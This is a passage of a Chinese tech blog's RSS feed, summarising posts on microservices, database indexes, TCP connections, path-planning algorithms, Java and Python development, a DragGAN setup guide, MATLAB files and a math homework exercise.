可用于启用微服务。&#xA;微服务的优势 在过渡到微服务系统并在微服务系统上运行的挑战中，最重要的好处是为客户提供改进的用户体验。Redis Labs 是一家为全球近 9，000 家组织的服务提供商，其开发人员宣传经理 Loris Cro 表示，使用微服务开发的软件的最终用户看到的性能问题、错误和一般困难较少。例如，Cro指出，与单体应用程序相比，开发团队在每个服务级别使用不同语言和数据库系统的能力。尽管微服务提供了许多好处，但如果提供的服务不一致、应用通信延迟高，或者微服务过于复杂且不允许可扩展性、可伸缩性或功能添加，则可能会出现不良结果。&#xA;微服务的未来 根据研究，微服务架构市场将从2022年的5.49 亿美元增加到 2023年的 21.63 亿美元，在预测期间（2022-2023）以 18.66% 的复合年增长率 （CAGR） 增长。&#xA;预计会影响微服务开发的其他趋势包括：&#xA;改进了可观测性，增强了对微服务操作的洞察力，以及通过服务网格可重新配置的基础架构控制通信的能力。通过人工智能技术实现自动化和优化的监控、事件响应、容量规划和其他操作，以更有效地管理软件。通过使用实施微服务架构的多云策略，实现比单一来源软件开发更好的可靠性。 尽管转向支持微服务的软件可能会因其动态性质而带来新的安全挑战，但公司正在以接近 100% 的速度从单体架构过渡。最近的研究表明，85% 的公司正在通过迁移到微服务结构来实现架构现代化。该报告还指出，领先的公司在微服务架构上拥有至少75%的应用程序的可能性是其两倍。任何现有异常值越早进行转换，其安全措施可能就越可靠。&#xA;作者：Kedarnath Mundluru&#xA;更多技术干货请关注公号“云原生数据库”&#xA;squids.cn，目前可体验全网zui低价RDS，免费的迁移工具DBMotion、SQL开发工具等。</description>
    </item>
    <item>
      <title>聚簇索引和非聚簇索引关系</title>
      <link>https://bchobby.github.io/posts/53727701f2199c381028a63c8d3c4adf/</link>
      <pubDate>Fri, 07 Jul 2023 00:08:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53727701f2199c381028a63c8d3c4adf/</guid>
      <description>聚集索引和非聚集索引 什么是聚簇索引、非聚簇索引？&#xA;通俗的滴说：聚簇索引就是基于主键创建的索引，除了主键以外的其他索引被称为非聚簇索引，也叫二级索引！&#xA;在InnoDB引擎里面，一张表的数据对应的物理文件，本身就是按照B+树来组织的一种索引结构，而聚簇索引就是按照每一张表的主键来构建一颗B+树，然后叶子节点里面存储了这个表的每一行数据记录，所以基于InnoDB这样的一个特性聚簇索引，并不仅仅是一种索引类型还代表着一种数据的存储方式，同时也意味着每个表里面必须要有一个主键，如果没有主键InnoDB会默认选择或者添加一个隐藏列作为主键索引来存储这个表的数据行，一般情况下是建议使用自增id作为主键，这样的话id本身具有连续性，使得对应的数据也会按照顺序存储在磁盘上，写入性能和搜索的性能都很高，否测我们使用uuid这种随机id，那么在频繁插入数据的时候，就会导致随机磁盘IO，从而导致性能比较低！&#xA;InnoDB只能存在一个聚簇索引，原因很简单，如果存在多个聚簇索引，那么意味着这个表里面的数据会存在多个副本，造成磁盘空间浪费以及数据维护困难的问题！&#xA;由于在InnoDB里面主键索引表示的是一种数据存储结构，所以如果是基于非聚簇索引来查询一条完整记录最终还是需要访问主键索引来检索的。&#xA;如图所示：&#xA;以上就我个人的理解了！</description>
    </item>
    <item>
      <title>长连接和短链接详解</title>
      <link>https://bchobby.github.io/posts/72f6f23fd920bc72b63ce3fe19471b48/</link>
      <pubDate>Thu, 06 Jul 2023 23:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72f6f23fd920bc72b63ce3fe19471b48/</guid>
      <description>长连接和短链接详解 日常工作和生活中接触到的软件系统大多数情况下是由多个进程共同协作进行的，所以，了解进程之间如何进行高效的通信至关重要。&#xA;进程之间的通信有不少方式包括管道（包括无名管道和命名管道）、消息队列、信号量、共享存储等，今天记录下基于TCP/IP通信方式的长连接和短连接。&#xA;在了解长连接和短连接之前，先介绍下TCP/IP。&#xA;TCP/IP网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合，作为互联网的基础协议，没有它就根本不可能上网，任何和互联网有关的操作都离不开TCP/IP协议。同时OSI七层模型也是要深入计算机网络必须掌握的东西。&#xA;OSI七层模型 物理层： 物理层负责最后将信息编码成电流脉冲或其它信号用于网上传输；&#xA;eg：RJ45等将数据转化成0和1；&#xA;数据链路层: 数据链路层通过物理网络链路􏰁供数据传输。不同的数据链路层定义了不同的网络和协 议特征,其中包括物理编址、网络拓扑结构、错误校验、数据帧序列以及流控;&#xA;可以简单的理解为：规定了0和1的分包形式，确定了网络数据包的形式；&#xA;网络层 网络层负责在源和终点之间建立连接;&#xA;可以理解为，此处需要确定计算机的位置，怎么确定？IPv4，IPv6！&#xA;传输层 传输层向高层􏰁提供可靠的端到端的网络数据流服务。&#xA;可以理解为：每一个应用程序都会在网卡注册一个端口号，该层就是端口与端口的通信！常用的（TCP／IP）协议；&#xA;会话层 会话层建立、管理和终止表示层与实体之间的通信会话；&#xA;建立一个连接（自动的手机信息、自动的网络寻址）;&#xA;表示层: 表示层􏰁供多种功能用于应用层数据编码和转化,以确保以一个系统应用层发送的信息 可以被另一个系统应用层识别;&#xA;可以理解为：解决不同系统之间的通信，eg：Linux下的QQ和Windows下的QQ可以通信；&#xA;应用层: OSI 的应用层协议包括文件的传输、访问及管理协议(FTAM) ,以及文件虚拟终端协议(VIP)和公用管理系统信息(CMIP)等;&#xA;规定数据的传输协议；&#xA;常见的应用层协议：&#xA;值得注意的是http与https协议都是应用层协议，而tcp协议才是传输层协议，所以通常长短连接指的是tcp连接而非http连接。打个形象的比喻： 拿你在网上购物来说，HTTP协议是指的那个快递单，你寄件的时候填的单子就像是发了一个HTTP请求，等货物运到地方了，快递员会根据你发的请求把货物送给相应的收货人。而TCP协议就是中间运货的那个大货车，也可能是火车或者飞机，但不管是什么，它是负责运输的，因此必须要有路，不管是地上还是天上。那么这个路就是所谓的TCP连接，也就是一个双向的数据通道。&#xA;TCP连接 当网络通信时采用TCP协议时，在真正的读写操作之前，server与client之间必须建立一个连接，当读写操作完成后，双方不再需要这个连接 时它们可以释放这个连接，连接的建立是需要三次握手的，而释放则需要4次握手，所以说每个连接的建立都是需要资源消耗和时间消耗的。&#xA;经典的三次握手示意图：&#xA;经典的四次握手关闭图：&#xA;HTTP协议与TCP/IP协议的关系 HTTP的长连接和短连接本质上是TCP长连接和短连接。HTTP属于应用层协议，在传输层使用TCP协议，在网络层使用IP协议。IP协议主要解决网络路由和寻址问题，TCP协议主要解决如何在IP层之上可靠的传递数据包，使在网络上的另一端收到发端发出的所有包，并且顺序与发出顺序一致。TCP有可靠，面向连接的特点。&#xA;如何理解HTTP协议是无状态的 HTTP协议是无状态的，指的是协议对于事务处理没有记忆能力，服务器不知道客户端是什么状态。也就是说，打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。HTTP是一个无状态的面向连接的协议，无状态不代表HTTP不能保持TCP连接，更不能代表HTTP使用的是UDP协议（无连接）。&#xA;什么是长连接、短连接？ 在HTTP/1.0中，默认使用的是短连接。也就是说，浏览器和服务器每进行一次HTTP操作，就建立一次连接，但任务结束就中断连接。如果客户端浏览器访问的某个HTML或其他类型的 Web页中包含有其他的Web资源，如JavaScript文件、图像文件、CSS文件等；当浏览器每遇到这样一个Web资源，就会建立一个HTTP会话。&#xA;但从HTTP/1.1起，默认使用长连接，用以保持连接特性。使用长连接的HTTP协议，会在响应头有加入这行代码：&#xA;Connection:keep-alive 在使用长连接的情况下，当一个网页打开完成后，客户端和服务器之间用于传输HTTP数据的 TCP连接不会关闭，如果客户端再次访问这个服务器上的网页，会继续使用这一条已经建立的连接。Keep-Alive不会永久保持连接，它有一个保持时间，可以在不同的服务器软件（如Apache）中设定这个时间。实现长连接要客户端和服务端都支持长连接。&#xA;HTTP协议的长连接和短连接，实质上是TCP协议的长连接和短连接。&#xA;TCP短连接 我们模拟一下TCP短连接的情况，client向server发起连接请求，server接到请求，然后双方建立连接。client向server 发送消息，server回应client，然后一次读写就完成了，这时候双方任何一个都可以发起close操作，不过一般都是client先发起 close操作。为什么呢，一般的server不会回复完client后立即关闭连接的，当然不排除有特殊的情况。从上面的描述看，短连接一般只会在 client/server间传递一次读写操作&#xA;短连接的优点是：管理起来比较简单，存在的连接都是有用的连接，不需要额外的控制手段&#xA;TCP长连接 接下来我们再模拟一下长连接的情况，client向server发起连接，server接受client连接，双方建立连接。client与server完成一次读写之后，它们之间的连接并不会主动关闭，后续的读写操作会继续使用这个连接。&#xA;首先说一下TCP/IP详解上讲到的TCP保活功能，保活功能主要为服务器应用提供，服务器应用希望知道客户主机是否崩溃，从而可以代表客户使用资源。如果客户已经消失，使得服务器上保留一个半开放的连接，而服务器又在等待来自客户端的数据，则服务器将应远等待客户端的数据，保活功能就是试图在服务 器端检测到这种半开放的连接。&#xA;如果一个给定的连接在两小时内没有任何的动作，则服务器就向客户发一个探测报文段，客户主机必须处于以下4个状态之一：&#xA;客户主机依然正常运行，并从服务器可达。客户的TCP响应正常，而服务器也知道对方是正常的，服务器在两小时后将保活定时器复位。&#xA;客户主机已经崩溃，并且关闭或者正在重新启动。在任何一种情况下，客户的TCP都没有响应。服务端将不能收到对探测的响应，并在75秒后超时。服务器总共发送10个这样的探测 ，每个间隔75秒。如果服务器没有收到一个响应，它就认为客户主机已经关闭并终止连接。&#xA;客户主机崩溃并已经重新启动。服务器将收到一个对其保活探测的响应，这个响应是一个复位，使得服务器终止这个连接。&#xA;客户机正常运行，但是服务器不可达，这种情况与2类似，TCP能发现的就是没有收到探查的响应。&#xA;长连接短连接建立过程 短连接的建立过程是：</description>
    </item>
    <item>
      <title>【L2】深蓝学院-高飞老师 移动机器人规划笔记 基于搜索的路径规划</title>
      <link>https://bchobby.github.io/posts/37dd61ff8f018a5b5d3eda7e1cd86d04/</link>
      <pubDate>Thu, 06 Jul 2023 21:41:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37dd61ff8f018a5b5d3eda7e1cd86d04/</guid>
      <description>基于搜索的路径规划 相关概念配置（Configuration）自由度（degree of freedom，DOF）配置空间（Configuration Space）在配置空间中做规划 图搜索的概念图的构成方式图搜索图搜索方法的整体框架图遍历的方法（Graph traversal）启发式的搜索算法（heuristic search）上述搜索方法的缺陷Dijkstra 算法A*算法 （Dijkstra with a heuristic）A*算法启发式函数的讨论A*算法变体-weighted A*算法A*算法在工程上实用的trickJump Point SearchJPS算法的缺陷 相关概念 配置（Configuration） 对机器人上面所有的点的位置的描述&#xA;自由度（degree of freedom，DOF） 用最少的坐标的数量去表示机器人存在的配置&#xA;配置空间（Configuration Space） 有n个维度的空间中，包含了所有的机器人可能存在的位姿。&#xA;在配置空间中做规划 在配置空间中做规划要比在朴素的空间中做优化要容易，因此需要将障碍物转换到配置空间中，成为c-obstacles，简单来讲，一般都是把有形状的机器人转换为点，然后把障碍物去做对应尺寸的膨胀，问题就变成了点的规划，就不用考虑机器人的尺寸了。&#xA;图搜索的概念 图的概念与图神经网络里面的图是一样的，之前搞过就没有记~&#xA;图的构成方式 如果是基于搜索的方法，本身的每一个格子都和其他相邻格子有物理概念上的连接，因此本身就是一种图。基于采样的方法，其中就没有这样物理概念上的连接，往往需要人为的利用采样生成的节点构图。&#xA;图搜索 图搜索总是从一个起始状态开始，会产生一个搜索树，如下图所示。回推整个搜索的过程也就得到了一个所谓的路径，当然在机器人规划时，完整的搜索是很费力的，那如何尽可能快地完成最优搜索也就是后续需要研究的重点。&#xA;图搜索方法的整体框架 总是维护一个容器：这个容器装载了将来有可能或打算访问的所有节点。值得注意的是，该容器一开始是空的，第一个放入的就是设定的起始节点。随后进入循环：&#xA;进入循环：在容器里，根据实现给定的指标或目的，弹出一个节点（访问一个节点）；扩展：发现其所有存在的邻居节点；把扩展的新的节点放入容器中，直到完成目标或其他指标后终止循环。 那么这其中涉及到一些其他问题，比如：&#xA;什么时候循环停止呢？&#xA;一个比较直观的答案是当容器中没有节点时就停止。那如果存在整个图是一个循环的结构的呢？&#xA;这时为了避免图搜索陷入死循环，往往还会维护另外一个新的容器（close list 闭集），这个容器装载着被访问过的节点，保证不会被再次访问。按照什么规则去访问节点去尽可能快地到达目标节点呢？&#xA;这个就涉及到后续介绍的算法啦！ 图遍历的方法（Graph traversal） 这里是后面算法的基础~包含最经典的广度优先搜索算法和深度优先搜索算法。如下图：&#xA;广度优先搜索（Breadth First Search，BFS）：遵从先进先出原则，是一个队列（容器）。从下图可以理解到，容器优先遍历完最浅的一层的节点后才回去访问更深层的节点。&#xA;深度优先搜索（Depth First Search，DFS）：遵从后进先出原则，是一个堆栈（容器）。从下图可以理解到，容器先弹出已有节点中最深层级的节点，也就是优先把一条路径走到底。&#xA;上述两种方法对比来看，对于选择最优化路径这个任务而言，目前可以更多关注广度优先搜索算法，原因可以从下图看出，BFS虽然搜索的可能会比较慢，但是搜索到目标终点后回溯一定是可以得到较好的路径的，但是DFS是一条路走到黑的搜索方式，得到的路径结果就不一定符合我们的预期了。&#xA;启发式的搜索算法（heuristic search） 这里主要介绍了贪心算法。区别于BFS的先进先出和DFS的后进先出，贪心算法的弹出策略是人为去规定的，heuristic是一个对于目前与终点之间距离的猜测（忽视障碍物的欧氏距离或x、y轴分别距离和的曼哈顿距离等），因此可以启发路径搜索通往较优的方向。&#xA;然而，贪心算法并不一定会比BFS搜索方法要好，看起来在无障碍地情况下，贪心算法搜索确实有着明显的优势，即更快的找到与BFS搜索得到的同样最优的路径，但是在有障碍物的情况下，heuristic的指引也有可能使算法陷入路径上的局部最优解。&#xA;上述搜索方法的缺陷 上述的DFS，BFS，贪心算法能够正确搜索到路径的前提是没有考虑建成的图之中各个边所代表的不同权重，也就是所谓的路径的cost，但是在实际的工程情况中，不同的边的飞行代价是不一样的，可能涉及到长度、飞行时长、能量消耗等考虑因素，因此需要设计更普适的找到最小代价路线的搜索算法。&#xA;Dijkstra 算法 弹出原则是：每次弹出的节点具备最小的cost g（n），g（n）表示的是，从起点出发到当前节点积累的cost。会更新n节点的所有未被扩展的邻居节点m，如果从n到m这个走向的g（m）比原来的cost小的话，就会做一个cost的更新。最优性的保证：每一个被扩展过的节点的g（n）都能保证是起始节点到当前n节点的最小代价的路径。 上图算法流程中的priority queue即优先级队列，这个队列中的排序方式是通过g（n）也就是cost的大小来进行排序的。&#xA;pros：解是完备的且最优的（如果存在这样的解的话，dijkstra算法一定可以找到并且是最优解）cons：找解的时候是全方向均匀扩散的，类似BFS，因为没有终点相关的信息。 A*算法 （Dijkstra with a heuristic） dijkstra算法的缺点是类似与BFS，没有终点相关的信息，所以是盲目地全向进行搜索的，而上文我们讨论过启发式搜索这样的一个思路，即贪心算法，那是否可以将贪心算法的搜索思路与dijkstra算法具备完备最优解的特性进行结合呢？这个思路也就引出了A算法。</description>
    </item>
    <item>
      <title>memset的使用</title>
      <link>https://bchobby.github.io/posts/be8c061bbd10f33c789d3e8ce985cd2e/</link>
      <pubDate>Thu, 06 Jul 2023 20:34:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be8c061bbd10f33c789d3e8ce985cd2e/</guid>
      <description>memset的一个小坑 #include &amp;lt;iostream&amp;gt; #include &amp;lt;cstring&amp;gt; using namespace std; const int N = 110; int f[N]; //目的：将f[N]数组所有元素变成1 int main() { memset(f, 1, sizeof f); for (int i = 0; i &amp;lt; 10; ++i) cout &amp;lt;&amp;lt; f[i] &amp;lt;&amp;lt; &#39; &#39;; cout &amp;lt;&amp;lt; endl; return 0; } // 输出结果： 16843009 16843009 16843009 16843009 16843009 16843009 16843009 16843009 16843009 16843009 解释： memset(void *dist, int ch, size_t count); // 参数1：目标的首地址。参数2：一个字节的数据。参数三：数据的个数。&#xA;这里的参数2：*它会将内存块中的每个字节都设置为二进制表示的 00000001，而不是将每个元素都设置为整数 1。所以会有错误！&#xA;正解 可以使用下面的这个方法进行填充int类型数据</description>
    </item>
    <item>
      <title>基于Flowable的工作流</title>
      <link>https://bchobby.github.io/posts/8cda9e8c51588f0488efd8113bf531c8/</link>
      <pubDate>Thu, 06 Jul 2023 18:58:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cda9e8c51588f0488efd8113bf531c8/</guid>
      <description>1. Flowable简介 Flowable提供了一个组高效的核心开源业务流程引擎，为开发人员，系统管理员和业务用户提供工作流和业务流程管理（BPM）平台。全部用Java编写，并且基于Apache 2.0许可的开源，代码在社区维护。其核心是一个快速，经过试验和测试的动态BPMN流程引擎，附带DMN决策表和CMMN Case管理引擎。&#xA;Flowable是一个功能强大、易用性好、可扩展性强的工作流和业务流程管理引擎，提供了一套可扩展的基于Java的API，可以帮助我们设计、部署和执行各种复杂的业务流程。&#xA;2. Flowable常用理论知识点 基本概念 流程定义（Process Definition） ：描述流程的结构和行为，可以看作是流程的蓝图。流程实例（Process Instance） ：流程定义的一个运行时实例，表示一个实际的业务流程。任务（Task） ：流程中的一项工作，常见的有用户任务、服务任务、脚本任务等。用户任务可以被分配给一个或多个用户。用户（User） ：参与业务流程的人员，可以执行任务。组（Group） ：用户的集合，用于任务分配和权限管理。变量（Variable） ：实例运行过程中存储的数据，分为全局变量和本地变量。2者主要区别是作用域，前者作用于整个流程实例中，后者只是本次任务内。使用变量是需要注意java对象序列化以及指定序列化版本ID。监听器（Listener） ：常用的有任务监听器和执行监听器。2者监听的事件类型不同。任务监听器主要用于监听任务的创建、完成、删除等；执行监听器用于监听执行动作开始、结束。子流程（SubProcess） : 子流程分为嵌套子流程和调用子流程。在一个流程中，嵌套一个或多个子流程，但是这些子流程没有流程实例Id，它是属于当前流程内部的；在UI画图的时候，嵌套子流程的子流程是在当前流程中画的。调用子流程的子流程是一个独立的流程，是外部的流程；调用子流程的子流程被启动之后，是有流程实例id的，会与主流程（调用它的流程）的实例id关联。事件（Event） : BPMN中的事件包括 开始、结束、边界、中间捕获、抛出等。网关（Gateway） : 用于在工作流程中进行流程控制和流转，根据不同的条件选择不同的路径，以实现业务流程的灵活性和可定制性。按类型分为排他、并行、包容、事件。 常用service RepositoryService ：提供了对流程定义和流程实例的创建、修改、删除、查询等操作。这个Service主要用于管理流程定义和流程实例，例如部署流程定义、启动流程实例等。RuntimeService ：提供了对流程实例的操作，包括启动、暂停、恢复、终止、查询等操作。这个Service主要用于管理流程实例的运行时状态，例如启动流程实例、查询流程实例状态等。TaskService ：提供了对任务的操作，包括查询任务、分配任务、完成任务等操作。这个Service主要用于管理流程中的任务，例如查询待办任务、完成任务等。HistoryService ：提供了对历史数据的查询，包括查询流程实例的历史数据、查询任务的历史数据等。这个Service主要用于查询流程实例或任务的历史数据，例如查询已完成的流程实例、查询任务的历史处理记录等。IdentityService ：提供了对用户和组的管理，包括创建用户、创建组、查询用户、查询组等操作。这个Service主要用于管理用户和组，例如创建用户、查询用户信息等。FormService ：提供了对表单的管理，包括获取表单数据、提交表单数据等操作。这个Service主要用于管理表单数据，例如获取表单数据、提交表单数据等。 数据库表 命名规则 ACT_RE_* : ** ** ’RE’表示repository（存储）。RepositoryService接口操作的表。带此前缀的表包含的是静态信息，如，流程定义，流程的资源（图片，规则等）。ACT_RU_* : ** ** ’RU’表示runtime。RuntimeService、TaskService等接口操作的表。这是运行时的表存储着流程变量，用户任务，变量，职责（job）等运行时的数据。flowable只存储实例执行期间的运行时数据，当流程实例结束时，将删除这些记录。这就保证了这些运行时的表小且快。ACT_ID_* : ** ** ’ID’表示identity(组织机构)。IdentityService接口操作的表。这些表包含标识的信息，如用户，用户组，等等。ACT_HI_* : ** ** ’HI’表示history。HistoryService接口操作的表。就是这些表包含着历史的相关数据，如结束的流程实例，变量，任务，等等。ACT_GE_* : ** ** 普通数据，各种情况都使用的数据。 3. 实现一个简单的工作流程 我们将实现一个简单的请假流程，包括以下步骤：&#xA;员工提交请假申请。部门经理审批。HR审批。通知员工审批结果。 3.1 编写BPMN流程定义 首先，我们需要使用Flowable Modeler或其他BPMN建模工具来绘制流程图。流程图中包含开始事件、用户任务、网关和结束事件等元素。&#xA;请假流程的BPMN流程定义文件（leave_process.bpmn20.xml）如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;definitions xmlns=&#34;</description>
    </item>
    <item>
      <title>OpenFeign 调用参数处理（开发重点）</title>
      <link>https://bchobby.github.io/posts/461d27f3252a62ce798260528ce69464/</link>
      <pubDate>Thu, 06 Jul 2023 16:17:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/461d27f3252a62ce798260528ce69464/</guid>
      <description>4.1 说在前面 Feign 传参确保消费者和提供者的参数列表一致 包括返回值 方法签名要一致&#xA;通过 URL 传参数，GET 请求，参数列表使用@PathVariable（“”）&#xA;如果是 GET 请求，每个基本参数必须加@RequestParam（“”）&#xA;如果是 POST 请求，而且是对象集合等参数，必须加@Requestbody 或者@RequestParam&#xA;4.2 修改 provider-order-service 4.2.1 创建 BaseResult 类 public class BaseResult implements Serializable { private Integer code; private String msg; private Object data; public static BaseResult success(Integer code, String msg, Object data) { BaseResult baseResult = new BaseResult(); baseResult.setCode(code); baseResult.setData(data); baseResult.setMsg(msg); return baseResult; } } 4.2.2 创建 Order 类 public class Order implements Serializable { private String orderSn; private String orderName; private String orderDetail; private Date orderTime; private String userId; } 4.</description>
    </item>
    <item>
      <title>Jetty、Tomcat、Netty、Undertow</title>
      <link>https://bchobby.github.io/posts/ee93c02dc0ddf202db1cf430f6006646/</link>
      <pubDate>Thu, 06 Jul 2023 16:11:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee93c02dc0ddf202db1cf430f6006646/</guid>
      <description>文章目录 一、容器使用二、容器介绍三、总结 一、容器使用 Spring-Boot 内置web容器使用&#xA;二、容器介绍 下面是每个 Web 服务器的擅长和适用场景的简要介绍：&#xA;Undertow:&#xA;擅长处理高并发的负载和大量连接。适用于需要高性能和低资源消耗的 Web 应用程序，特别是在高并发环境下。由于其非阻塞的特性，适合于处理大量并发请求的情况，例如实时通信、聊天应用程序或需要快速响应的 API。 Tomcat:&#xA;擅长传统的 Java Servlet 和 JSP 应用程序。适用于中小规模的 Web 应用程序，特别是传统的企业级应用程序。Tomcat 是广泛使用的 Servlet 容器，支持标准的 Java Web 技术栈，如 Servlet、JSP 和 JavaBeans。它稳定可靠，并且有大量的文档和社区支持。 Netty:&#xA;擅长构建高性能的自定义网络应用程序。适用于需要处理大规模并发连接和高吞吐量的场景。Netty 提供了灵活的网络编程框架，可以方便地实现各种协议，如 HTTP、WebSocket 和 TCP。它适合构建高性能的代理服务器、实时通信服务器或需要自定义网络协议的应用程序。 Jetty:&#xA;擅长轻量级的嵌入式应用程序和开发环境。适用于快速启动和低内存消耗的应用程序。Jetty 是一个稳定、可靠且易于使用的 Servlet 容器，具有快速启动和低资源消耗的特点。它适合用于开发和测试环境，以及嵌入式设备或对启动速度和内存占用有限制的场景。 三、总结 如果需要处理高并发负载或具有特定的性能需求，Undertow 和 Netty 可能是更好的选择。如果使用传统的 Java Web 技术栈，Tomcat 提供了广泛的支持。而对于轻量级和嵌入式应用程序，Jetty 可能更适合。</description>
    </item>
    <item>
      <title>python文件导入导出处理方法整理</title>
      <link>https://bchobby.github.io/posts/9475a4b82e8fa891958de1d9f411f42c/</link>
      <pubDate>Thu, 06 Jul 2023 14:38:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9475a4b82e8fa891958de1d9f411f42c/</guid>
      <description>1. excel import:xlrd import xlrd， xlrd可以对xls,xlsx文件进行处理&#xA;book = xlrd.open_workbook(file_contents=body) # body是文件的二进制流，book是一个对象&#xA;table = book.sheets()[0] # book.sheets()获取的是表格的sheet，&#xA;table.cell_value(i, 0)获取单元格数据&#xA;可对数据进行处理&#xA;export:xlsxwriter io.BytesIO() :类文件对象&#xA;python已经原生为我们准备好了类文件对象（file-like object），这种对象在内存中创建，可以像文件一样被操作。&#xA;python3中将StringIO和BytesIO都集成到了io模块中&#xA;内存中的对象有一个标志位的概念，往里面写入，标志位后移到下一个空白处。而读数据的时候是从标志位开始读，所以想要读取前面的数据需要手动将标志位进行移动。&#xA;(67条消息) python3中StringIO和BytesIO使用方法和使用场景详解_T型人小付的博客-CSDN博客&#xA;BytesIO真正实用的地方还是在于存储图片视频等数据，不管是本地生成的还是网络下载的。&#xA;因为是Bytes类型的，就可以直接保存到BytesIO中&#xA;想要对图片进一步处理这里使用Python3的Pillow库，&#xA;s = StringIO() s.write(&#39;line1\nline2\nline3&#39;) print(s.read()) --&amp;gt; &#39;&#39;,write后标志位在最后一位，read时候往后读，是空数据 print(s.getvalue()) --&amp;gt;&#39;line1\nline2\nline3&#39; s.seek(0) 指针指向0 print(s.read()) --&amp;gt;&#39;line1\nline2\nline3&#39; s.seek(0) print(s.readline()) --&amp;gt;&#39;line1&#39;，按行读取 s.close()，释放内存 from xlsxwriter import Workbook， workbook = Workbook(io.BytesIO())添加sheet,sheet.write(row,col,value),最后workbook.close()&#xA;2. tablib库 对数据进行转换，表格数据&#xA;def export_excel(): header = [str(i) for i in range(1, 5)] data = [&#39;111&#39;, &#39;222&#39;, &#39;333&#39;, &#39;444&#39;] data_ = [] for i in header: data_.</description>
    </item>
    <item>
      <title>DragGAN 完全自由 P 图指南</title>
      <link>https://bchobby.github.io/posts/9557be9381496f3e0baf5324413ef951/</link>
      <pubDate>Thu, 06 Jul 2023 14:34:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9557be9381496f3e0baf5324413ef951/</guid>
      <description>在上篇中，树先生教大家如何正确部署 DragGAN 项目，实现自由拖拽式 P 图。&#xA;超炫酷项目来袭！DragGAN 正式开源了！&#xA;但可惜只能使用项目预置的一些图片，本篇教大家如何利用该项目自由编辑修改任何图片。&#xA;这里主要使用到 PTI 项目，可以将你自定义的图片训练成 StyleGAN 潜空间模型，从而实现任何图片的编辑修改。&#xA;环境准备 这里我们还是继续选择 AutoDL 云平台，使用 Python 3.8，CUDA 11.8 的镜像，这个镜像的环境满足项目要求。&#xA;下载源码 git clone https://github.com/danielroich/PTI.git # 安装依赖 cd PTI &amp;amp;&amp;amp; pip install -r requirements.txt 你肯定好奇，项目里没有 requirements.txt 文件呀？放心，我给你准备好了~&#xA;torch&amp;gt;=2.0.0 scipy Ninja==1.10.2 gradio&amp;gt;=3.35.2 imageio-ffmpeg&amp;gt;=0.4.3 huggingface_hub hf_transfer pyopengl imgui glfw==2.6.1 pillow&amp;gt;=9.4.0 torchvision&amp;gt;=0.15.2 imageio&amp;gt;=2.9.0 dlib wandb lpips 下载预训练模型 这里我们只要下载前 2 个即可，分别是 StyleGAN 的生成器文件 ffhq.pkl 和图片的预处理器文件 align.dat，下载完成后放到项目的 pretrained_models 目录下。&#xA;图片预处理 主要是完成原始图片人脸关键点检测工作，将你想要编辑的图片上传到项目的 image_original 目录下，然后将该目录的绝对路径写入 utils/align_data.py 文件中。</description>
    </item>
    <item>
      <title>MATLAB 之 MAT 文件</title>
      <link>https://bchobby.github.io/posts/c35823da9c7c0d0ce0ae28a469094f5c/</link>
      <pubDate>Thu, 06 Jul 2023 13:31:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c35823da9c7c0d0ce0ae28a469094f5c/</guid>
      <description>这里写目录标题 一、MAT 文件1. MAT 文件2. C 语言 MAT 函数3. MAT 文件的基本操作3.1 打开 MAT 文件3.2 读写 MAT 文件3.3 关闭 MAT 文件3.4 mx 函数 一、MAT 文件 MAT 文件是 MATLAB 数据存储的默认文件格式，以双精度二进制格式保存数据。MAT 文件为其他程序设计语言（如 C、C++、FORTRAN 等）使用 MATLAB 数据提供了一种共享机制。 1. MAT 文件 MAT 文件由 128 字节的 MAT 文件头和尾随其后的数据单元组成。文件头包括 MATLAB 版本、文件被创建的时间等信息。数据单元分为标志和数据两个部分，标志占 8 字节，包含数据类型、数据大小等信息。如果标志中的数据字节数小于 4，那么，MATLAB 使用压缩格式存储单元中的数据。MATLAB 的 save 命令可以将 MATLAB 系统内部数据保存为 MAT 文件，而 load 命令可以将磁盘上的 MAT 文件中的数据读入到 MATLAB 系统中。此外，为了有效地管理 MAT 文件，以及在 MATLAB 外部读取和创建 MAT 文件，MATLAB 提供了一一个子程序库，用户可以在 C、C++、FORTRAN 程序中直接调用这些子程序来创建和读取 MAT 文件。MATLAB 提供的用于操作 MAT 文件的 API 函数封装于两个标准库文件中：libmat.</description>
    </item>
    <item>
      <title>纯粹数学作业——Chapter 0</title>
      <link>https://bchobby.github.io/posts/e7f18c27a77b3941a95c679540040695/</link>
      <pubDate>Thu, 06 Jul 2023 12:03:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7f18c27a77b3941a95c679540040695/</guid>
      <description>1、列举一个真命题、一个假命题、一个不知道真假的命题、一个不是命题的陈述。&#xA;真命题：太阳是发光发热的。&#xA;同位角相等，两直线平行。&#xA;假命题：三角形的三个内角和不是180°&#xA;不知真假的命题：树叶是黄色的。&#xA;不是命题的陈述：可爱的斑马。&#xA;2、写出21127的2进制，3进制，8进制，16进制以及36进制的表达形式。&#xA;21127 = （101 0010 1000 0111）2 = （1001222111）3&#xA;= （51207）8&#xA;= （5287）16&#xA;= （GAV）36&#xA;3、证明：1可以除任何整数，任何数可以除0。&#xA;（注意，除 和 除以 ，是两个概念）&#xA;4、证明： 令a,b,d ∈ Z，假设，d除a, 商为u, d 除b，商为v。u,v为整数。&#xA;试证明，d可以除 au+bv。&#xA;5、证明： 如果一个整数a, 被b除，余数是r。那么，试证明，如果a 